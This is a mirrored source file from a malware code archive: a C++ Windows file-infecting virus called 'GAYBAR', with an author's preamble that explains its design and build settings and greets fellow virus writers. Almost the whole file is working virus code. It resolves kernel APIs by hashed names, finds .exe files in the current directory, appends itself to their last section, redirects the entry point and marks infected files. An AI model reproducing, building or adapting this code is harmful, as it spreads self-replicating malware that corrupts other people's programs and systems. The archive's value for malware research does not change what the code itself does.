mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
421 lines
14 KiB
NASM
421 lines
14 KiB
NASM
|
||
/*
|
||
|
||
Welcome to the GAYBAR§§§ (from ikx industries)
|
||
-================================================-
|
||
|
||
Technically, this virus has nothing new. It's a very old school virus that appends
|
||
its code to the last section and modifies the entry point in the PE header. It
|
||
browses the import table in order to find the kernel address and imports APIs by CRC.
|
||
The virus is about 1200 bytes long. It's a bit big for a virus of this kind and it
|
||
requires some optimization. The main idea is that it was written in 100% c++ to take
|
||
advantage of the use of classes. No assembly file or special linking is needed. It
|
||
does everything just as a standard assembly virus would do. It has no need for
|
||
relocation; it can use global pointers and ignores the delta pointer problem. It was
|
||
compiled using Visual Studio Architect. Just remove the "Buffer Security Check" and
|
||
put it in release mode. (Don’t forget to put size optimization). It also seems to work
|
||
with Visual Studio 6.0.
|
||
|
||
But, all is not pink in this happy world. There are a few problems. You can't use any
|
||
strings inside the executable. I reconstructed the strings by dropping values into
|
||
buffers as a meta virus would do. (int k[0] = 'xe.*') We are seeking how to solve
|
||
this problem in a better way. Also, it's not really 100% c++ as it still has a stub
|
||
loader that will call the virus body. This part is in assembly and consists of a few
|
||
pushes and a call. This virus might be "portable" to other platforms as long as you
|
||
remedy the stub problem.
|
||
|
||
The point of this virus is to pimp people to the c++ side. A virus can be done within
|
||
a reasonable size using c++, doing almost as well as an assembly virus. I hope this
|
||
creates a new era with future babies coming along.
|
||
|
||
Greets to:
|
||
|
||
Vorgon: You are god, i bow down before you oh master dark lord of VX. My Hero!
|
||
Lifewire: to have pimped me to the c++ side, for the original idea as well as the
|
||
the motivation
|
||
UnderX: to be the 1st to listen to my bragging description
|
||
Griyo: who was the second
|
||
Cecile: Damn, I like you, wanted to dedicate this virus to you but I preferred the
|
||
GAYBAR! jtm
|
||
Morphine: for correcting my english! 10x0r!
|
||
|
||
Welcome to the GAYBAR !!
|
||
|
||
*/
|
||
|
||
#include "stdio.h"
|
||
#include "windows.h"
|
||
#include "PE.hpp"
|
||
|
||
typedef void* __stdcall iGetModuleHandle(char*);
|
||
typedef void* __stdcall iLoadLibraryA(char*);
|
||
typedef HANDLE __stdcall iFindFirstFileA(void*,LPWIN32_FIND_DATA);
|
||
typedef bool __stdcall iFindNextFileA(HANDLE,LPWIN32_FIND_DATA);
|
||
typedef void __stdcall iOutputDebugStringA(char*);
|
||
typedef HANDLE __stdcall iCreateFileA(char*,DWORD,DWORD,DWORD,DWORD,DWORD,HANDLE);
|
||
typedef HANDLE __stdcall iCreateFileMappingA(HANDLE,DWORD,DWORD,DWORD,DWORD,char*);
|
||
typedef void* __stdcall iMapViewOfFile(HANDLE,DWORD,DWORD,DWORD,DWORD);
|
||
typedef void __stdcall iUnmapViewOfFile(void*);
|
||
typedef void __stdcall iCloseHandle(HANDLE);
|
||
typedef DWORD __stdcall iGetFileSize(HANDLE, int);
|
||
|
||
#define LoadLibraryACrc 0x660E91B6
|
||
#define FindFirstFileACrc 0xFACA6F2D
|
||
#define FindNextFileACrc 0x47F9DA21
|
||
#define OutputDebugStringACrc 0xFBDF28B7
|
||
#define CreateFileACrc 0x8DC85CF9
|
||
#define CreateFileMappingACrc 0xA3A46E23
|
||
#define MapViewOfFileCrc 0x505C8F3F
|
||
#define UnmapViewOfFileCrc 0x5239B6AF
|
||
#define CloseHandleCrc 0x4E1ED759
|
||
#define GetFileSizeCrc 0xC37E2502
|
||
|
||
#define vir_size (((int) main - 0x00401000))
|
||
|
||
void __stdcall start(void *ImageBase, void *viruslocation);
|
||
int main(int argc, char **argv);
|
||
|
||
|
||
int iround(int a, int b) { return ((a / b)+1)* b; }
|
||
|
||
// Dumb crc routine, it isn't really crc, less powerful but it's sufficient for
|
||
// apiname checking.
|
||
|
||
DWORD GetAPICrc(char *name)
|
||
{
|
||
DWORD k = 0;
|
||
|
||
for(int i = 0; name[i] != 0; i++)
|
||
k = (k << 3) + (k >> (sizeof(k) -3)) + name[i];
|
||
|
||
return k;
|
||
}
|
||
|
||
class virus
|
||
{
|
||
public:
|
||
|
||
//
|
||
// Api finder, you specify the Address base of the PE and the crc
|
||
// of the address and it will return the address to you. If it fails, it
|
||
// returns 0 and sets a global flag called missed
|
||
//
|
||
|
||
void *GetProcAddressCrc(char *ModuleBase, DWORD APICrc)
|
||
{
|
||
PE_STRUCT *PEheaderBase = (PE_STRUCT *) (ModuleBase + ((DWORD *) (ModuleBase+0x3C))[0]);
|
||
PE_EXPORT_STRUCT *ExportTable = (PE_EXPORT_STRUCT *) ( ModuleBase + PEheaderBase->pe_exportrva);
|
||
|
||
if(PEheaderBase->pe_exportrva != 0)
|
||
{
|
||
// Here you get all the pointers, so once it's found, you only have to
|
||
// grab the data from the table once
|
||
|
||
DWORD* NameTable = (DWORD *) (ModuleBase + ExportTable->ex_namepointersrva);
|
||
WORD* Ordinaltable = (WORD *) (ModuleBase + ExportTable->ex_ordinaltablerva);
|
||
DWORD* AddressTable = (DWORD *) (ModuleBase + ExportTable->ex_addresstablerva);
|
||
|
||
for(int i = 0; i < ExportTable->ex_numofnamepointers; i++)
|
||
{
|
||
if(GetAPICrc((char *) ModuleBase+NameTable[i]) == APICrc)
|
||
return ModuleBase+AddressTable[Ordinaltable[i]];
|
||
}
|
||
}
|
||
|
||
missed = true;
|
||
return 0;
|
||
}
|
||
|
||
// Linked chain
|
||
|
||
struct NameList
|
||
{
|
||
NameList *Previous;
|
||
void *location;
|
||
};
|
||
|
||
//
|
||
// Find the Kernel32 address by browsing the Import Table. It searches for
|
||
// "KERNEL32". If the library isn't KERNEL32, it browses the import
|
||
// table of the library. This is done by using a recursive function. It
|
||
// scans the import table and imports the table of imported libraries, and
|
||
// etc. But, It could cycle :( What if user32.dll points to advapi.dll
|
||
// and advapi.dll points to user32.dll? It would cycle infinitly.
|
||
//
|
||
// I stored a list of already scanned libraries (NameList). Before scanning
|
||
// sub libraries, it checks if the libary hasn't been scanned yet.
|
||
//
|
||
|
||
void *GetK32Address(char *PEImageBase, NameList *List = 0)
|
||
{
|
||
PE_STRUCT *PEheaderBase = (PE_STRUCT *) (PEImageBase + ((DWORD *) (PEImageBase+0x3C))[0]);
|
||
PE_IMPORT_STRUCT *ImportTable = (PE_IMPORT_STRUCT *) (PEImageBase + PEheaderBase->pe_importrva);
|
||
|
||
if(PEheaderBase->pe_importrva != 0)
|
||
{
|
||
char* LibName; // we will scan every name
|
||
|
||
while(PEImageBase + ImportTable->im_name)
|
||
{
|
||
LibName = PEImageBase + ImportTable->im_name;
|
||
|
||
// gets the base address of the library
|
||
WORD **apitable = (WORD **) ((char*) PEImageBase + ImportTable->im_addresstable);
|
||
WORD *location = (WORD *) ((char *) apitable[0] - ((WORD *) apitable)[0]);
|
||
while( location[0] != 'ZM') location = (WORD *) ((char*) location - 0x1000);
|
||
|
||
// it isn't the kernel ?
|
||
if(! ((((DWORD *) LibName)[0] == 'NREK') && (((DWORD *) LibName)[1] == '23LE')))
|
||
{
|
||
bool dosearch = true;
|
||
NameList *item = List;
|
||
|
||
while(item != 0 && dosearch) // have we searched
|
||
{ // this library ?
|
||
if(location == item->location) dosearch = false;
|
||
item = item->Previous;
|
||
}
|
||
|
||
if(dosearch) // if not, it adds the name to the list
|
||
{ // and scans this library
|
||
NameList newitem = { List, location };
|
||
void *retaddr = GetK32Address((char *)location, &newitem);
|
||
if(retaddr != 0) return retaddr;
|
||
}
|
||
}
|
||
else return location;
|
||
|
||
ImportTable = (PE_IMPORT_STRUCT *) ((char *) ImportTable + sizeof(PE_IMPORT_STRUCT));
|
||
}
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
//
|
||
// Searches all the needed api, starting by retrieving kernel32 address
|
||
// from current process import table, if it's found, import all apis. If an
|
||
// api is missed, bool missed has been set to true and it will return false
|
||
//
|
||
|
||
bool Import(void *PEImageBase)
|
||
{
|
||
char *K32Address = (char *) GetK32Address((char *) PEImageBase);
|
||
missed = false;
|
||
|
||
if(K32Address)
|
||
{
|
||
LoadLibraryA = (iLoadLibraryA *) GetProcAddressCrc( K32Address, LoadLibraryACrc);
|
||
FindFirstFileA = (iFindFirstFileA *) GetProcAddressCrc( K32Address, FindFirstFileACrc);
|
||
FindNextFileA = (iFindNextFileA *) GetProcAddressCrc( K32Address, FindNextFileACrc);
|
||
OutputDebugStringA = (iOutputDebugStringA *) GetProcAddressCrc( K32Address, OutputDebugStringACrc);
|
||
CreateFileA = (iCreateFileA *) GetProcAddressCrc( K32Address, CreateFileACrc);
|
||
CreateFileMappingA = (iCreateFileMappingA *) GetProcAddressCrc( K32Address, CreateFileMappingACrc);
|
||
MapViewOfFile = (iMapViewOfFile *) GetProcAddressCrc( K32Address, MapViewOfFileCrc);
|
||
UnmapViewOfFile = (iUnmapViewOfFile *) GetProcAddressCrc( K32Address, UnmapViewOfFileCrc);
|
||
CloseHandle = (iCloseHandle *) GetProcAddressCrc( K32Address, CloseHandleCrc);
|
||
GetFileSize = (iGetFileSize *) GetProcAddressCrc( K32Address, GetFileSizeCrc);
|
||
}
|
||
|
||
return (K32Address && !missed);
|
||
}
|
||
|
||
//
|
||
// Remap the file and in the same way resize the file
|
||
//
|
||
|
||
void Remap(int newsize)
|
||
{
|
||
UnmapViewOfFile(MapAddress);
|
||
CloseHandle(FileMapping);
|
||
FileMapping = CreateFileMapping(File,NULL, PAGE_READWRITE, 0, newsize, 0 );
|
||
MapAddress = (char *) MapViewOfFile( FileMapping, FILE_MAP_ALL_ACCESS, 0, 0, newsize);
|
||
}
|
||
|
||
// drop a push instruction to a memory location
|
||
|
||
void createpush(char *location, int value)
|
||
{
|
||
(location)[0] = (char) 0x68;
|
||
((int *)(location+1))[0] = value;
|
||
}
|
||
|
||
// We got the file maped at (MapAddress), we are going to infect
|
||
// that file
|
||
|
||
void ProcessInfection()
|
||
{
|
||
// check if exe
|
||
if( ((WORD *) MapAddress)[0] == 'ZM' )
|
||
{
|
||
PE_STRUCT *PEheaderBase = (PE_STRUCT *) (MapAddress + ((DWORD *) (MapAddress+0x3C))[0]);
|
||
|
||
// check if PE
|
||
if( ((DWORD *) PEheaderBase)[0] == 'EP' )
|
||
{
|
||
// get lastsection offset
|
||
PE_OBJENTRY_STRUCT *lastsection = (PE_OBJENTRY_STRUCT *)
|
||
((char *) PEheaderBase + sizeof(PE_STRUCT) +
|
||
(PEheaderBase->pe_numofobjects - 1) * sizeof(PE_OBJENTRY_STRUCT));
|
||
|
||
// save information, later we will need to return to host
|
||
// viruspos will be a working variable for now
|
||
int old_entrypoint = PEheaderBase->pe_entrypointrva + PEheaderBase->pe_imagebase;
|
||
int viruspos = max(lastsection->oe_physsize, lastsection->oe_virtsize);
|
||
|
||
// change last section size in physical and memory, change
|
||
// his permission
|
||
lastsection->oe_physsize = iround( viruspos+vir_size, PEheaderBase->pe_filealign);
|
||
lastsection->oe_virtsize = iround( viruspos+vir_size, PEheaderBase->pe_objectalign);
|
||
lastsection->oe_objectflags |= IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
|
||
|
||
// set new entry point
|
||
PEheaderBase->pe_entrypointrva = viruspos + lastsection->oe_virtrva;
|
||
int new_entrypoint = PEheaderBase->pe_entrypointrva + PEheaderBase->pe_imagebase;
|
||
int old_imagebase = PEheaderBase->pe_imagebase;
|
||
|
||
// viruspost is now the position where we should drop virus
|
||
viruspos += lastsection->oe_physoffs;
|
||
|
||
// recalculate PE size in memory
|
||
PEheaderBase->pe_imagesize = lastsection->oe_virtrva + lastsection->oe_virtsize;
|
||
// resize file
|
||
Remap(iround(lastsection->oe_physoffs + lastsection->oe_physsize, 128) + 69 );
|
||
|
||
char *virusdest = MapAddress + viruspos;
|
||
|
||
// we are dropping the stub loader
|
||
// we will push on stack old entrypoint
|
||
// two next value will be forwarded to virus
|
||
|
||
createpush(virusdest, old_entrypoint);
|
||
createpush(virusdest+5, new_entrypoint+21);
|
||
createpush(virusdest+10, old_imagebase);
|
||
|
||
// drop call to virus
|
||
(virusdest+15)[0] = (char) 0xE8;
|
||
((int *)(virusdest+16))[0] = ((int) start - 0x00401000)+1;
|
||
|
||
// then ret, who will jump to host
|
||
(virusdest+20)[0] = (char) 0xC3;
|
||
|
||
virusdest += 21;
|
||
|
||
// drop virus here (memcpy didnt worked :()
|
||
for(int i = 0; i < vir_size; i++)
|
||
(virusdest++)[0] = ((char *) VirCode)[i];
|
||
|
||
// drop virus copyright :)
|
||
((__int64*) virusdest)[0] = 0x20656D6F636C6557;
|
||
((__int64*) virusdest)[1] = 0x4720656874206F74;
|
||
((__int64*) virusdest)[2] = 0x2020215241425941;
|
||
((__int64*) virusdest)[3] = 0x334B325D584B495B;
|
||
}
|
||
}
|
||
}
|
||
|
||
// This function basically opens a file specified in input
|
||
// then maps it. If mapping succeed and finally it ask to
|
||
// ProcessInfection()
|
||
|
||
void infect(char *filename)
|
||
{
|
||
File = CreateFileA(filename, GENERIC_READ | GENERIC_WRITE,
|
||
FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
|
||
|
||
if( File != INVALID_HANDLE_VALUE )
|
||
{
|
||
int FileSize = GetFileSize(File,0);
|
||
FileMapping = CreateFileMapping(File,NULL,PAGE_READWRITE,
|
||
0, FileSize, 0 );
|
||
|
||
if( FileMapping != INVALID_HANDLE_VALUE )
|
||
{
|
||
MapAddress = (char *) MapViewOfFile( FileMapping,
|
||
FILE_MAP_ALL_ACCESS, 0, 0, FileSize);
|
||
|
||
if(MapAddress != 0)
|
||
{
|
||
ProcessInfection();
|
||
UnmapViewOfFile(MapAddress);
|
||
}
|
||
|
||
CloseHandle(FileMapping);
|
||
}
|
||
CloseHandle(File);
|
||
}
|
||
}
|
||
|
||
// The real entry point of the virus. Here, we manipulate everything
|
||
// inside the object. It just searches for various *.exe inside the
|
||
// current directory
|
||
|
||
void start_virus(void *PEBase, void *VirusCode)
|
||
{
|
||
if(Import(PEBase))
|
||
{
|
||
WIN32_FIND_DATA datas;
|
||
HANDLE fileresult;
|
||
VirCode = VirusCode;
|
||
char trashbuffer[8];
|
||
|
||
// search for *.exe
|
||
((__int64 *) trashbuffer)[0] = 0x06578652E2A;
|
||
fileresult = FindFirstFileA(trashbuffer, &datas);
|
||
|
||
if(fileresult != INVALID_HANDLE_VALUE) do
|
||
{
|
||
if( (datas.nFileSizeLow % 128) != 69)
|
||
infect(datas.cFileName);
|
||
}
|
||
while(FindNextFile(fileresult, &datas));
|
||
}
|
||
}
|
||
|
||
/*
|
||
* The Api Table
|
||
*
|
||
******************/
|
||
|
||
iLoadLibraryA* LoadLibraryA;
|
||
iFindFirstFileA* FindFirstFileA;
|
||
iFindNextFileA* FindNextFileA;
|
||
iOutputDebugStringA* OutputDebugStringA;
|
||
iCreateFileA* CreateFileA;
|
||
iCreateFileMappingA* CreateFileMappingA;
|
||
iMapViewOfFile* MapViewOfFile;
|
||
iUnmapViewOfFile* UnmapViewOfFile;
|
||
iCloseHandle* CloseHandle;
|
||
iGetFileSize* GetFileSize;
|
||
|
||
// functions
|
||
|
||
bool missed;
|
||
|
||
HANDLE File;
|
||
HANDLE FileMapping;
|
||
char *MapAddress;
|
||
void *VirCode;
|
||
};
|
||
|
||
// This creates an instance of object virus on the stack, and then calls the
|
||
// virus. The global variable inside the class will be taken from the stack
|
||
// and not from data
|
||
|
||
void __stdcall start(void *ImageBase, void *viruslocation)
|
||
{
|
||
virus A;
|
||
A.start_virus(ImageBase, viruslocation);
|
||
}
|
||
|
||
// this will fake the stub loader and call our virus
|
||
|
||
int main(int argc, char **argv)
|
||
{
|
||
int k = vir_size;
|
||
start((void*) 0x00400000, (void *) 0x00401000);
|
||
printf("welcome to the Gaybar: %i\n", k);
|
||
return 0;
|
||
}
|
||
|